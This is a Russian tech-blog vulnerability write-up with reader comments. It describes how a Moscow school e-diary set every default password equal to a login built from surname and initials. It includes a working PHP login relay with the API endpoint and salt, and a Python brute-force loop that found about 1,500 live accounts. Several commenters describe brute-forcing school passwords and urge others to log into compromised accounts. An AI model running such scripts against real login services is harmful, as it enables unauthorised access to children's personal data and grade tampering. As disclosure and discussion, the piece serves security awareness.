Особенность генерации логинов
Посмотрев на свой логин, я заметил особенность, что он состоял из фамилии, первой буквы имени и первой буквы отчества (всё это транслитерируется) и пароль был таким же. Например, у Иванова Ивана Ивановича будет логин и пароль ivanovii, у Сидорова Петра Сергеевича будет sidorovps. В случае «я» будет меняться на «ya», а не на «ia», и «ц» на «c».
Я решил проверить предположение и взял имя, фамилию и отчество одноклассника и успешно авторизовался под его аккаунтом. Потом я проделал те же действия, взяв имя, фамилию и отчество учителя, и успешно авторизовался под его аккаунтом. Получается, любой ученик мог авторизоваться под учителем и менять свои оценки? Я, конечно, понимаю, что у нас в стране не особо занимаются обеспечением безопасности и приватности персональных данных детей (ФИО и даже оценки — персональные данные), но учителя (может быть не все учителя), они не понимают, что можно побеспокоиться о безопасности своих аккаунтов. Самое классное было то, что после я получил доступ к аккаунту директора гимназии, однако позже выяснил, что он не имеет особых привилегий и прав.
Немного покапав модуль сообщений, я смог украсть фамилии, имена и отчества всей школы — учеников, их родителей и учителей. То есть, получив доступ к аккаунту Васи, я мог украсть персональные данные всей его школы и, взломав небольшое количество аккаунтов, я мог украсть перс. данные многих людей. Дальше я решил проверить, правда ли то, что персональные данные большого количества людей находятся под угрозой.
Брутфорс по логинам
Брутфорс проводился по логинам сгенерированными по выше описанным особенностям и при переборе пароль был эквивалентен логину. Авторизация у журнала шла через их API, которое выдавало auth_token (при правильном логине и пароле) или ошибку (при неправильном логине/пароле). Отправляемые данные состояли из
- login — логин в стандартном виде
- password_hash — md5(pass + «4f8202ccd76210b47b40627c621daa56»)
Хеш генерировался на стороне клиента и отправлялся Ajax запросом вместе с логином на API. Не видел, чтобы где-нибудь в крупном продукте или проекте авторизация происходила так. Соль добавлялась для криптостойкости, чтобы хеш трудно было взломать, если его перехватят.
Я написал php скрипт, который принимал login, создавал хеш пароля, с помощью cUrl отправлял запрос на API журнала и возвращал ответ, который состоял из:
- id — идентификатор пользователя
- email — E-mail пользователя (по умолчанию: логин@example.com)
- type — тип аккаунта («teacher», «student», «parent»)
- school_id — идентификатор школы
- school_shortname — название школы
- first_name — имя
- last_name — фамилия
- middle_name — отчество
- authentication_token — токен, который кладётся в cookie, а при следующий запросов на API отправляется в виде HTTP-Header'a
- password_change_required — если «true», журнал предложит сменить пароль
- date_of_birth — дата рождения
- sex — пол
<?php
$data = array("login" => $_GET['login'], "password_hash" => md5($_GET['login'].'4f8202ccd76210b47b40627c621daa56')); // Создаём массив с логином и хешом пароля
$data_string = json_encode($data); // Конвертируем в JSON
$ch = curl_init('https://dnevnik.mos.ru/lms/api/sessions');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Для того чтобы SSL работал
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Accept: application/vnd.api.v2+json',
'Content-Type: application/json;charset=UTF-8',
'Referer: https://dnevnik.mos.ru/auth',
'Origin: https://dnevnik.mos.ru',
'Content-Length: ' . strlen($data_string))
);
$result = curl_exec($ch);
echo $result; // Выводим ответ API журнала
?>
Сама прога для брутфорса была написана на Python, она отправляла запрос на сервер, где был php скрипт, и записывала ответ в файл, если авторизация проходила успешно.
import urllib.request
def tryToHack(login):
try:
ans = urllib.request.urlopen("http://*******.koding.io/php.php?login="+login).read()
ans = str(ans)
if not str(ans).find("authentication_error") > 1: # Если авторизация прошла успешно, записываем в файл
print(ans[ans.find("'") + 1:-1], file=fout)
except:
pass
fin = open("fam.txt", "r") # Файл с фамилиями
fout = open("out.txt", "w")
surnames = fin.readlines()
for i in range(len(surnames)):
surnames[i] = surnames[i].rstrip()
alp = [chr(i) for i in range(ord('a'), ord('z') + 1)] # Массив английского алфавита
for i in surnames: # Перебираем фамилии
for j in alp: # Перебираем первую букву имени
for k in alp: # Перебираем первую букву отчества
tryToHack(i + j + k)
Статистика ущерба
Я перебрал популярные фамилии (по моему мнению): Иванов, Иванова, Петров, Петрова, Сидороа, Сидорова, Гончаров и Гончарова. Получается 8 * 26 * 26 (кол-во фамилий * кол-во букв в английском алфавите * кол-во букв в английском алфавите) = 5408 логинов и паролей. Из около 1500 были верные. Около половины из них были с «password_change_required»: true, но пароли никто не менял.
Вывод
Не стоит вручать пользователям простые пароль, выдавать один пароль на все аккаунты по умолчанию или устанавливать пароль равный логину. Данную «особенность» я нигде больше не видел, так что это вторичное напоминание разработчикам этого «чуда».
Комментарии (131)
teamfighter
30.12.2015 14:37+1Вообще говоря, если в генерации логина и пароля присутствует какой-то прямой алгоритм, рано или поздно он будет вскрыт. Что нам этой статьей и продемонстировали.
Dreyk
30.12.2015 14:41не, ну одно дело «некий алгоритм», и другое — вот такое вот топорное решение.
И, кстати, как у них реализована уникальность пользователей, с такими-то логинами?teamfighter
30.12.2015 14:45Видимо, к одному логину подходит несколько паролей. Или добавляется единичка в конце логина.
AlexGechis
30.12.2015 14:47+7Видимо, к одному логину подходит несколько паролей.
Одинаковых по дефолту…
dimview
30.12.2015 22:42Зависит от того, что именно имеется в виду под «прямым» алгоритмом. Если пароль делать криптографически стойким генератором псевдослучайных чисел (который можно взять готовый или даже написать в три строчки), то рано он вскрыт не будет.
samodum
31.12.2015 01:18+1Это называется «Security through obscurity» en.wikipedia.org/wiki/Security_through_obscurity
Lorian_Grace
30.12.2015 14:48+1Вообще, те дневники, которые попадались мне, были не очень удобными для использования. Вплоть до того, что к одному акку родителя нельзя было привязать больше одного ребенка, а использование у двух аккаунтов одного мобильного телефона не позволялось. Обойти-то обошли проблему, но осадок остался. Так что вопрос, кто и через какое место такое делает — открыт…
AlexGechis
30.12.2015 14:48+13Отличный подарок детям на Новый Год, которые знают как зовут их учителя.
Firz
30.12.2015 15:13+5Астрологи объявляют неделю электронных дневников.
Прирост хороших оценок удваивается.AlexGechis
30.12.2015 15:15+4Даёшь больше золотых медалистов!
А если серьёзно, интересно, если ли бэкап (хоть бумажный), и история изменения оценок, чтобы можно было найти что поменяли и восстановить если что?
zagayevskiy
30.12.2015 16:31+1Вообще не понимаю, для чего автору было это открывать широкой публике под новый год (перед длинными каникулами).
Ohar
30.12.2015 18:46+6Чтобы кого-то очень тупого уволили?
zagayevskiy
30.12.2015 19:00-2То есть, утечка данных не важна, главное крайнего найти? Сомневаюсь, что по факту кого-то уволят.
Ohar
30.12.2015 19:04+6С таким подходом к безопасности, как у описываемой системы, об утечке говорить бессмысленно. Вы же не думаете, что автор — первый кто обнаружил, что «в тюрьме нет четвёртой стены», как в известном анекдоте?
AlexGechis
30.12.2015 23:39+6В Аду есть специальный котел для тех, кто упоминает «широко известные» анекдоты и не рассказывает их.
Wesha
30.12.2015 23:58+3Поймали ковбои индейцев, заперли их в сарае и ушли. Проходит три дня, индейцы возвращаются в племя. Там их расспрашивают — мол, как вы сбежали? Один рассказывает: «День мы сидим, другой день сидим, а на третий день Орлиный Глаз заметил, что у сарая нет одной стены.»
DIT
30.12.2015 20:21+2действительно не очень корректно, но мы уже исправили. Коснулось лишь несколько школ из пилота новой версии дневника, хотя это и не извиняет разработчиков.
Wesha
31.12.2015 08:45-2> это и не извиняет разработчиков.
И вообще не извиняет учителей русского языка.
Doktor_Gradus
01.01.2016 15:40+1Хотя комментарий, на который вы ответили этой картинкой и написан не очень грамотно, но выделенная вами гласная там поставлена верная.
Wesha
01.01.2016 21:22«Простите, погорячился. Признаю себя ослом и жду Ваших распоряжений.» (с)
(Как раз тот самый случай, когда невозможность исправить хабракомментарий жутко достаёт).
DIT
30.12.2015 20:44+1Ученики недолго радовались, дырку уже закрыли. Она, кстати, затронула только несколько школ из зоны, где внедряется новая версия дневника, а не всех, как подумал топикстартер. У нас школы в дневники через московский портал госуслуг ходят уже давно — с двухфакторной защитой. Ну и все действия логируются естественно с возможностью откатить любые «несанкционированные» оценки.
Lure_of_Chaos
30.12.2015 14:50+11Это чем надо думать, чтобы давать пароль по умолчанию равным логину??
Wesha
30.12.2015 19:51Лично мне кажется, что как раз тем местом, которое учит современная система образования.
Dreyk
30.12.2015 15:04а между тем, в личном кабинете указаны имейлы и телефоны, сейчас новость дойдет до спамеров, и кто-то получит себе неплохую базу
eaa
30.12.2015 15:06Убрал бы автор публикацию в черновики… а то ж пострадает куча народу, тем более что пароли не меняют те, кто ничего в этом не понимают и потому вообще оказываются беззащитными в такой ситуации.
wrewolf
30.12.2015 15:08+6Поздно, статьи хабра мгновенно оседают в кеше гугла, постоянно так просматриваю закрытые публикации с возрастом меньше 10 минут.
DIT
30.12.2015 20:46Не волнуйтесь, уже закрыли все что описано. Это была экспериментальная версия дневника, которая пилотируется на небольшом числе пользователей. Все наши обычные пользователи ходят в дневник через портал госуслуг московский.
Nashev
31.12.2015 00:10+1Полторы тысячи только Ивановых, Петровых, Сидоровых и Гончаровых? Небольшое число???
Wesha
31.12.2015 01:11+1Не волнуйтесь, уже закрыли все что описано.
А может, стоило бы закрыть ещё и то, что не описано?
DIT
30.12.2015 20:45-1Это тестовая версия дневника, который пилотируется в нескольких школах, и большинство данных тоже тестовые. Кроме того, уже пофиксили.
achekalin
30.12.2015 23:11+1Вы знаете, тестовая она конечно тестовая, а вот данные у вас там, судя по всему, самые «натуральные».
Вы по логам не смотрели, сколько человек (хватит с точностью, думаю, до тысяч) зашло на сайт за сегодня?
Evengard
30.12.2015 15:23+5Это чем надо думать чтобы хеш генерить на клиенте и отсылать уже его… Теряется весь смысл хеширования — если можно авторизоваться ТОЛЬКО зная хеш, то толку-то?!
pharrell
31.12.2015 02:49Вообще, если честно, ничего в этом страшного нет. Во первых, кто вам сказал, что пароли в базе хранятся именно в таком виде, в каком они отправляются с клиента? Скорее всего этот хэш хэшируется ещё раз на сервере.
Во вторых, можно даже найти объяснение такой мере. Тупое, но всё-же в духе разработчиков. Они просто хотели обезопасить пароль от перехвата траффика с помощью прокси.motomac
31.12.2015 08:52+2Но если прокси перехватит хэш, а он принимается сервером в качестве пароля, то это по сути равнозначно перехвату самого пароля.
TimsTims
31.12.2015 12:47Попробовать подобрать хэш — это по сложности так-же как и подобрать пароль. Или вы предлагаете отсылать голый пароль?
pharrell
03.01.2016 01:52+1Да, да, именно поэтому я и написал, что объяснение тупое, но всё-же в духе разработчиков данного сервиса.
RazorBlade
30.12.2015 15:24+6О каком дневнике идет речь? В нашей школе используется mrko.mos.ru, в который напрямую залогиниться нельзя (или я не нашел как) — только через pgu.mos.ru. Однако там тоже все не лучшим образом сделано:
На родительском собрании раздали логины/пароли в виде набора цифр и конечно же, пароль соответствовал логину. Я сразу же решил поменять пароль и заодно логин тоже (такая возможность есть). Однако я не долго радовался, т.к. после смены логина и пароля я больше не смог зайти ни по новым ни по старым данным. Звонок в тех.поддержку меня еще больше расстроил, поскольку женщина на том конце долго и упорно просила у меня старые и новые учетные данные вместе паролем! После чего пробовала сами зайти под ними и после безуспешных результатов сообщила, что она ничем не может помочь — надо обращаться в школу, чтобы они сбросили мне пароль.Wesha
30.12.2015 19:54+2По личным ощущениям, не могу не процитировать слова Лаврова. По правилам хабра, не могу процитировать слова Лаврова…
DIT
30.12.2015 20:49+1Да, в МРКО доступ через портал госуслуг московский, описанное касалось экспериментальной версии дневника в нескольких школах, но и это уже закрыли. По поводу того, что не помогла поддержка, приносим извинения. Если какие-то проблемы с дневником еще сохраняются, пишите сюда или в личку, будем рады помочь!
maaGames
30.12.2015 15:32+5Родные братья Петров Илья Александрович (petrovia) и Петров Иван Александрович(petrovia) поступили в один класс одной школы и сломали систему.
Dreyk
30.12.2015 16:14там к логину '-1' добавляется у дубликатов
shoorick
30.12.2015 23:32А потом вслед за Ильёй и Иваном пришли Игорь, Игнат, Исаак, Иосиф и Ираклий. А потом — ещё куча пацанов с теми же именами, но другими отчествами на А. Счётчик, надеюсь, будет тикать дальше? Или остановится на добавлении минус единицы? :-)
jia3ep
30.12.2015 15:33+4Надеюсь автор поменял пароль на рандомный хотя бы в тех 1500 аккаунтов, в которые удалось войти?
Ну и предлагаю так делать всем, кто успешно вошел под логином учителя. От разработчиков вряд ли быстро фикс будет, а так хоть всем Хабром закроем дыру.zagayevskiy
30.12.2015 16:00+1И дневник заодно закроем?
jia3ep
30.12.2015 16:05+1Сейчас, наверное, это не критично, а после праздников получат люди в школе новые пароли. Ну и можно уведомление на почту из личного кабинета отправлять, что пароль изменен для обеспечения безопасности. Блокировка аккаунта — это нормальная реакция при компрометации, поэтому ничего страшного я не вижу.
zagayevskiy
30.12.2015 16:28Да, только вот вас об этом не просили ни пользователи, ни разработчики, ни ответственные за эту систему. Не был в системе, поэтому не знаю, можно ли там из личного кабинета посылать какие-то письма на собственную почту (это кажется странным), и, тем более, не знаю, будет ли что-то отсылаться при смене пароля.
syschel
30.12.2015 17:08+6За это смело статью можно себе получить
272 УК РФ
1. Неправомерный доступ к охраняемой законом компьютерной информации, если это деяние повлекло уничтожение, блокирование, модификацию либо копирование компьютерной информации, — наказывается ....
А с учётом как у нас суды умеют разбираться в ИТ делах, да и на кого сразу же списывают свои косяки все гос структуры, особенно за тендерные разработки. Думаю не мало «хакеров» могут отловить наши правохранители, а министерство образования скинуть на них свой косяк.Wesha
31.12.2015 11:06Ну и предлагаю так делать всем, кто успешно вошел под логином учителя.
Информация к размышлению: не все хабрачитатели живут в РФ…За это смело статью можно себе получить 272 УК РФ
ivanbolhovitinov
30.12.2015 16:45Есть разновидность систем, где пользователям можно выдавать простые пароли.
Более того, даже можно выдавать одинаковые для всех.
Но.
1. Эта система внутреннего употребления. Она недоступна извне. Многих пользователей можно узнать в лицо или по номеру телефона
2. Пользователи обязаны поменять пароль при первом входе. И этот пароль не может совпадать с пятью предыдущими паролями
3. Каждый момент подбора пароля записывается в логи
4. После трех неправильных попыток входа аккаунт блокируется. До обращения к админам.
Вот так и живём.
Кто узнал?Ohar
30.12.2015 18:49+12. Пользователи обязаны поменять пароль при первом входе. И этот пароль не может совпадать с пятью предыдущими паролями
С какими предыдущими, если это 1-й вход?
Aingis
30.12.2015 20:09+1> 4. После трех неправильных попыток входа аккаунт блокируется. До обращения к админам.
И можно успешно DoS'ить пользователей. Например, если не хочешь, чтобы родители увидели свежую двойку.ivanbolhovitinov
30.12.2015 20:18+1Так я и говорю:
>Есть разновидность систем
>1. Эта система внутреннего употребления.
Если систему попробовать ддосить *изнутри*, то это… ммм… чревато…
Именно поэтому политика может позволить себе быть… несколько иной…
Steve_Key
05.01.2016 18:292. Пользователи обязаны поменять пароль при первом входе. И этот пароль не может совпадать с пятью предыдущими паролями
То есть, где-то в системе хранятся все эти пароли, а пото?м их кто-то «украдёт» — прелестно!!!
PavelMSTU
30.12.2015 17:56+6У меня теща учителем работает.
Полгода назад им всем преподавателям выдали пароли.
Тёща пароль потеряла, в пятницу вечером хотела ввести отметки за месяц и… пароля нет.
Ну она в истерике. Мы с женой говорим — в понедельник получишь новый пароль, не переживай!!..
Выяснили, что в воскресение deadline.
Я спросил из скольки символов пароль. Мне ответили, что… из пяти…
Ну я весь такой в понты (тёща же!): «Ха! Сейчас разберемся! Попей чаю, мама, не переживай! Твой тесть white hacker, использует свою силу!»
Я часик поколдавал в PyCharm'е и перебрал пароли.
Теща довольная! Затем мы помогли ей вбить оценки в систему (оказывается для неё и это трудно).
* * *
Далее началось самое интересное. Я, как нормальный безопасник не мог устоять перед искушением и аналогичным образом «поломал» пароли других лиц в школе (у тещи был список ФИО — логины, распечатанные на A4, так что логины я знал). Короче, перешел на темную сторону силы…
Оставил крутиться на пару дней, в воскресенье вечером посмотрел результаты. Порадовался и, разумеется, всю полученную информацию в итоге уничтожил…
В понедельник утром аншлаг. Оказывается я нечаянно устроилDDoSDoS… В итоге заполнили только те учителя, которые сели за комп раньше моей тёщи.
А те, кто сел позже в пятницу или в субботу — заполнить оценки — не могли этого сделать из-за отказа в обслуживании…
До сих пор стыдно… Чувствую себя Дарт Вейдером :((
Сходил в Церковь — исповедовался и твердо решил — даже ради интереса ничего не ломать…
А то мало ли…- 30.12.2015 21:40
В Татарстане электронный дневник заполняется сразу же на перемене после урока, иначе учитель получит по шапке. Сам периодически смотрю оценки во время учебы ребенка.
Пароли выдают на бумажке, сам логин из 10 цифр, а вот пароль состоит из 4 букв. Думаю, что при желании и тут набрутфорсить паролей можно много и самых разных.Seekeer
31.12.2015 08:11+3>В Татарстане электронный дневник заполняется сразу же на перемене после урока
Это просто ад для учителей. Времени на отдых не остаётся.
TimsTims
30.12.2015 18:072. Пользователи обязаны поменять пароль при первом входе. И этот пароль не может совпадать с пятью предыдущими паролями
При первом входе у пользователя не может быть 5 прошлых паролей :)ruikarikun
30.12.2015 18:50Имеются в виду пароли пяти недавно залогинившихся пользователей.
ivanbolhovitinov
30.12.2015 18:58Таки нет.
ruikarikun
30.12.2015 19:06Жаль, было бы прикольно.
ivanbolhovitinov
30.12.2015 19:16+6Это очень и очень старая шутка:
Извините, Вы не можете использовать указанный пароль. Такой пароль уже использует пользователь Misha. Пожалуйста, придумайте другой пароль.
ivanbolhovitinov
30.12.2015 18:58+2А если он новый, то все прошлые пароли пустые. А пустые пароли запрещены.И всё равно — нет!
Купи палку колбасы, а если будут яйца — купи десяток
Столько лет прошло, а я всё обожаю этот анекдот.
duzorg
30.12.2015 19:25+12— Извините, Ваш пароль используется более 30 дней, необходимо выбрать новый!
— розы
— извините, слишком мало символов в пароле!
— розовые розы
— Извините, пароль должен содержать хотя бы одну цифру!
— 1 розовая роза
— Извините, не допускается использование пробелов в пароле!
— 1розоваяроза
— Извините, необходимо использовать как минимум 10 различных символов в пароле!
— 1грёбанаярозоваяроза
— Извините, необходимо использовать как минимум одну заглавную букву в пароле!
— 1ГРЁБАНАЯрозоваяроза
— Извините, не допускается использование нескольких заглавных букв, следующих подряд!
— 1ГрёбанаяРозоваяРоза
— Извините, пароль должен состоять более чем из 20 символов!
— 1ГрёбанаяРозоваяРозаБудетТорчатьИзЗадаЕслиМнеНеДашьДоступПрямоБляСейчас!
— Извините, этот пароль уже занят!
reff
30.12.2015 19:34+1Видимо, прознали о проблеме и что-то изменили. Теперь авторизоваться не удаётся, хотя каких-то 3 часа назад…
jia3ep
30.12.2015 20:13Изменили точно, но топорно как-то, т.к. нормальные пароли тоже сбросили. Могли бы посмотреть — меняли пользователи пароль или нет, а не всех под одну гребенку.
DIT
30.12.2015 20:33Да, закрыли уже прямой доступ в тестовую версию дневника (речь шла только о ней), теперь только через московский портал госуслуг через двойную аутентификацию, сменили пароли учителей, включили принудительную смену для родителей.
merlin-vrn
30.12.2015 19:44+2Потому, что «пока гром не грянет, мужик не перекрестится». Все эти сложные неотключаемые политики паролей не только выбешивают, и не только провоцируют использовать один и тот же пароль на нескольких ресурсах. Они провоцируют пользователей использовать простые пароли где только можно, где позволят, где нет политик. А ещё они не дают пользователям на собственной шкуре почуствовать, что такое скомпрометировать данные, или даже учётную запись.
Политики паролей, которые носят категорический характер (вида «нельзя использовать пароль менее чем из 8 символов» или «обязательно должны быть прописные и строчные буквы и цифры») — зло. Они только уменьшают пространство паролей, не привнося особого повышения безопасности. Появляются пароли вида CegthCtrhtnysqGfhjkm, и почему люди решили, что это резко повышает безопасность — ума не приложу. Это же всего один бит энтропии!
Я принимаю два возможных подхода к заданию пароля. Первый — это генерация случайного пароля. Пользователь может потыкать кнопочку несколько раз, будут генерироваться новые пароли, и можно остановиться на том, который понравился, но вот ввести свой собственный пароль нельзя. Это даст максимальную безопасность. Также это повысит шансы, что пароль не будет совпадать с паролем этой же персоны на других ресурсах.
Второй — позволить установить совершенно произвольный пароль, но при этом давать рекомендации по поводу его сложности. Например, сейчас популярно показывать «сложность» пароля в процессе его задания в виде цветной полоски, дополняя текстом (простой/средний/сложный) — вот это отличная идея. В этом случае также возможно ограничивать доступ к более опасным функциям пользователям с недостаточно сложными паролями.
Красивым решением будет забыть об аутентификации по паролю и раздать токены (ну или pkcs12-контейнеры, на худой конец). Аутентификация будет по клиентскому tls-ключу, например, по полю commonName.
И, в описанном случае по-моему виноваты не разработчики, а те, кто систему разворачивал и разработал или утвердил регламент добавления пользователей. Система позволяла задать нормальные пароли, это админы-внедрятели не воспользовались возможностью.
ComodoHacker
30.12.2015 20:02+5Хороше исследование, особенно для школьника. И правильно сделали, что опубликовали здесь, надеюсь кто-то получит по шапке и в следующем школьном проекте все будет не столь печально.
Однако на будущее посоветую автору познакомиться с концепцией Responsible disclosure, что можно перевести как «ответственное раскрытие (информации)». Основная идея в том, чтобы дать админам и разработчикам системы возможность исправить найденную уязвимость до того, как информация о ней будет опубликована в открытом доступе. Тем самым выводятся из-под удара простые пользователи. И в публикации обязательно сообщается, как и когда был информирован вендор, его реакция, сколько времени было дано на исправление и т.д.subirdcom
01.01.2016 22:32+1Я писал на почту. Ждал долго, но ответа не было, наверное, считали, что это не серьезно. Вот и написал статью на хабре, чтобы хоть какая-нибудь реакция была. К счастью пофиксили быстро, и теперь я не могу авторизоваться в дневнике даже под своим логином. На почту новый логин не пришел. Потом выдадут новый, я надеюсь.
DIT
30.12.2015 20:18Всем участникам дискуссии большое спасибо за ценные комментарии! Во-первых, спешим немного успокоить, описанная в посте ситуация касается только нескольких школ, в которых идет пилотирование новой экспериментальной версии дневника, остальные школы заходят в электронный дневник и журнал через московский портал госуслуг, то есть идентифицируются дважды. Участников пилота инструктировали менять пароль при первом заходе в систему, однако силу инерции действительно недооценили. Что уже сделали – принудительно сменили все идентичные логины и пароли учителей, сделали заход и в эту версию дневника через личный кабинет на pgu.mos.ru, запретили работу с родительским и ученическим аккаунтом пока пользователь не сменит пароль. Топикстартеру отдельное спасибо, однако было бы этично сначала связаться с нами.
jia3ep
30.12.2015 20:41+1принудительно сменили все идентичные логины и пароли
Видимо не только их.
сделали заход и в эту версию дневника через личный кабинет на pgu.mos.ru
Что-то сильно испортилось. При логине из pgu.mos.ru пишет, что пользователя с указанным логином МРКО не существует. А на dnevnik.mos.ru был хороший пароль (я то поменял его сразу, хотя ребенок инструкций из школы не приносил) и туда теперь тоже не пускает с ним.
А есть какой-то багтрекер у вас или Хабр вместо него?
samodum
31.12.2015 01:11>Странная строка, добавляемая к концу пароля, добавлялась, наверное, для криптостойкости — чтобы хеш трудно было взломать, если его перехватят.
В терминах криптографии это называется «salt» — «соль»
dennis777
31.12.2015 02:18Вообще, смешной случай, очень интересно ребята с паролями придумали.
Хотя, что касается школьников, там и брутфорсить не нужно. У меня знакомый в день получает по 500+ аккаунтов к ВК, мейлу, фейсбуку, благодаря взломанным играм. И вроде пароль у человека из 30+ символов, но качает всякую дрянь, и все равно учетка уходит к злоумышленникам.
whiplash
31.12.2015 22:38+1Но самое страшное — это когда простой пароль у любой сервисной учетки, с привилегиями чуть выше обычного юзера и далее до максимальных.
Это просто жесть и катастрофа для инфраструктуры.
Acuna
31.12.2015 23:22+1«Посмотрев на свой логин, я заметил особенность, что он состоял из фамилии, первой буквы имени и первой буквы отчества (всё это транслитерируется) и пароль был таким же».
Я одного не могу понять… Как? Как?! Если бы кто это мне рассказал, я бы подумал, что это какой-то анекдот.mekegi
01.01.2016 18:23+2«Не стоит искать скрытый смысл там где все можно объяснить тупостью»
Обычная ситуация — посредственные исполнители делают унылое г, ибо сделать качественный продукт не могут.
На рынке труда аццкий дефифит квалифицированных кадров в итоге имеем ситуацию когда дыры приходится затыкать средненькими кадрами которые емеют хоть что то. И таких вот «хоть что то » 80% на рынке трудаAcuna
03.01.2016 00:00+1Да уж… Но ведь я уже в школе умел их в md5 хотя-бы, умел даже генерировать рандомные строки, даже ясно понимал, что шифровать нужно с солью и т. д. И это при том, что я прогуливал информатику и собссно программистом становиться даже не собирался (кто-бы мог подумать, что я полностью свяжу с ним всю свою жизнь...).
Я помимо Вашей предполагаю тут и другую проблему — банальный распил. То есть выделили на этот дневник 3 миллиона (или сколько там… Примерно столько?), программить посадили секретарш (в прямом смысле), и сколько в результате получили на руки чистыми? Правильно, 2 990 000 руб.))) Может даже больше. Лично я только так могу объяснить такой фейл, который даже ради прикола придумать сложно. Я-бы такой прикол не придумал бы, сразу скажу))) Особенно где-где, в дневнике, которым будут пользоваться ВСЕ школы (!).
dcc0
02.01.2016 19:05Топикстартеру отдельное спасибо, однако было бы этично сначала связаться с нами.
Топикстартеру повезло, как я понял. А то мог бы быть сначала звонок «откуда следует», разговор в кабинете =)subirdcom
02.01.2016 19:44+3Я писал на почту. Ждал долго, но ответа не было......
dcc0
02.01.2016 23:48Вы, видимо, не работали в гос. структурах никогда.
Хочу предостеречь, что если даже человек руководствуется самыми благими намерениями, даже если всех предупредил, мало того, даже если ему потом сказали спасибо, остается ровно два варианта развития событий — он окажется в кабинете следователя, а затем в суде или не окажется — вероятность ровно 50 на 50.Wesha
03.01.2016 01:22он окажется в кабинете следователя, а затем в суде или не окажется
Музыкой навеяло:
"— Какова вероятность, выйдя на улицу, встретить динозавра?
— 50%.
— Это как???
— Ну как: либо встречу, либо не встречу..."dcc0
03.01.2016 06:46Да-да, именно этот анекдот я вспоминаю, когда речь идет о гос. машине. Про бинарную оппозицию героиня анекдота знала.
Причем замечу, что за подобное реально схлопотать минимум условку. Буду только надеяться, что автору повезет.Wesha
03.01.2016 07:16Про бинарную оппозицию героиня анекдота знала.
… но не знала, что не все события созданы
равнымиравновероятными.
В любой стране (в России особенно, но не надо себя утешать — в других ничуть не легче) вероятность загреметь зависит не только и не столько от того, насколько индивидуум виноват, а от того, насколько он достаёт тех, кто у власти. Помните Ришелье? «Дайте мне шесть строчек, написанных рукой самого честного человека, и я найду в них то, за что его можно повесить.» В США, например, среднестатистический человек совершает три правонарушения в день — причём речь идёт не о таких мелочах, как переход улицы в неположенном месте.
Вот, скажем, в США человека засудили (и довели до самоубийства) за то, что он скачал в библиотеке документы, которые он имел законное право (имел законное право, Карл!!!) скачивать.
dcc0
03.01.2016 12:10Я примерно знаю, что может вдруг клюнуть в голову тому или иному чиновнику.
Вы ведь не очень задумывались, как будет выглядеть ситуация «с той стороны», при этом сразу в нескольких аспектах?!
teamfighter
Мдаа, крайне грустная история. Сейчас интереса ради зашел на dnevnik.mos.ru, и следуя указаниям автора статьи, ввел логин и пароль совершенно рандомного человека, придуманного только что. И, что удивительно, зашел. Надо ребятам срочно что-то с этим делать.
eaa
Сейчас сайт ляжет от хабраэффекта ;)
Dreyk
пускать-то пускает, но аякс-запросы выдают 500. Надеюсь, это уже начали фиксить приложение
teamfighter
Я подозреваю, что это как раз и есть хабраэффект)
and7ey
В статье же написано, что сайт всегда так работает ;) — так что ему никакой хабраэффект и не нужен, чтоб 500 возвращать.
DIT
Коснулось только нескольких школ из пилотной зоны нового дневника, не массовая проблема. Все школы основной версии заходят на дневник через московский портал госуслуг. Закрыли прямой доступ и для этой версии уже. А также сменили пароли учитепей и включили принудительную смену для родителей и учеников. Пользователей конечно инструктировали о необходимости смены пароля при первом же заходе, но инерция все-таки сильнее. Учтем обязательно.
AlexGechis
Скажите, просто интересно, как вы планировали решать проблему уникальных логинов и паролей? Если в системе есть ivanovaa, то какой логин будет у нового Иванова Алексея Алексеевича?
Ну и радует, что госструктура работает над закрытием дырок в такое позднее время, не уходя домой готовиться к празднику и не забивая на всё. Спасибо вам за такой подход!
ankh1989
В больших корпорациях эта проблема решается либо другим комбинированием части имени и фамилии: скажем billg и billga это два человека с похожим именем, но первый пришёл раньше и потому занял короткий ник. Из за этого, кстати, иногда получается, что ник мужчины звучит как женское имя и наоборот: в таких конторах это не проблема, а вот в школах этим точно будут дразнить.
TokminD
Я админю небольшую компанию, но у нас нередки «семейные» работники. Поэтому и фамилии и отчества дублируются и первые буквы имени. Принял решение именовать по принципу 4 буквы фамилии+3 буквы имени+1 буква отчества. Получается лаконичные (обычно) логины с фиксированной длинной и пока ни одного повторения. Но конечно для единой площадки по нескольким школам такое не прокатит, а в одной имеет шанс совпадения весьма незначительный.
Wesha
(Кстати, их сёстры Алена и Алевтина звонили.)
TokminD
Но братья-сестры Максим и Мария уже есть, пока алгоритм держится :)
Wesha
Ключевое слово «пока».
Я всегда жёстко протестовал против логинов-паролей, основанных на частях паспортных данных. Это же клад для хакеров, которые пользуются социальной инженерией.
Звонок №1: «Алё! Мы тут счёт на вашу компанию выписываем, инициалы вашего главбуха на визитке плохо пропечатаны, то ли М, то ли К… А, да-да, Наталья Андреевна, спасибо большое, записал!»
Звонок №2: «Извините, а как Наталье Андревне позвонить, как её фамилия, забыл, Вер… Вор… А, да, спасибо, Новицкая, это я с другой Натальей перепутал!»
TokminD
ИМХО, безопасность, основанная на незнании логинов — не безопасность. Так же как и криптоалгоритм, основанный на незнании самого алгоритма не криптостоек. Надо еще и знать куда этот логин применить. При отсутствии внешних подключений и низкой ценности информации, с которой работает организация уровень паранойи снижается. Все таки у логинов и имен компьютеров должна быть логика, причем такая, которую можно задокументировать. Веб сервисы и внутренние сервисы несколько отличаются по восприятию сотрудниками. Если в редкоиспользуемых веб сервисах люди готовы мириться с нелогичными идентификаторами, то ежедневно комфортнее работать с чем-то понятным и логичным. Можно использовать и случайные 16 значные цифробуквенные ID, которые не повторятся. Только сколько учений придется провести, особенно при наличии сотрудников «тех кому за 60». И хорошо иногда повторять про себя, что «мы работаем для бизнеса, а не бизнес работает для нас» :)
Wesha
Видите ли, я просто вольно переложил историю взлома одного из американских банков, потому как не могу найти исходную статью. Там был как раз такой метод эскалации — от мелкого клерка по инстанциям вверх до главной операционистки: каждому следующему уровню выдавалась информация, полученная от предыдущего (типа «да я ж ваш, просто новый сотрудник, ещё не всё знаю: видите — сколько секретов я знаю!»), в потом он раскручивался на то, что социальный хакер ещё не знал («ой, простите, я логин знаю, а вот пароль запамятовал»).
dcc0
Низкой ценности информации?
Вы уверены?
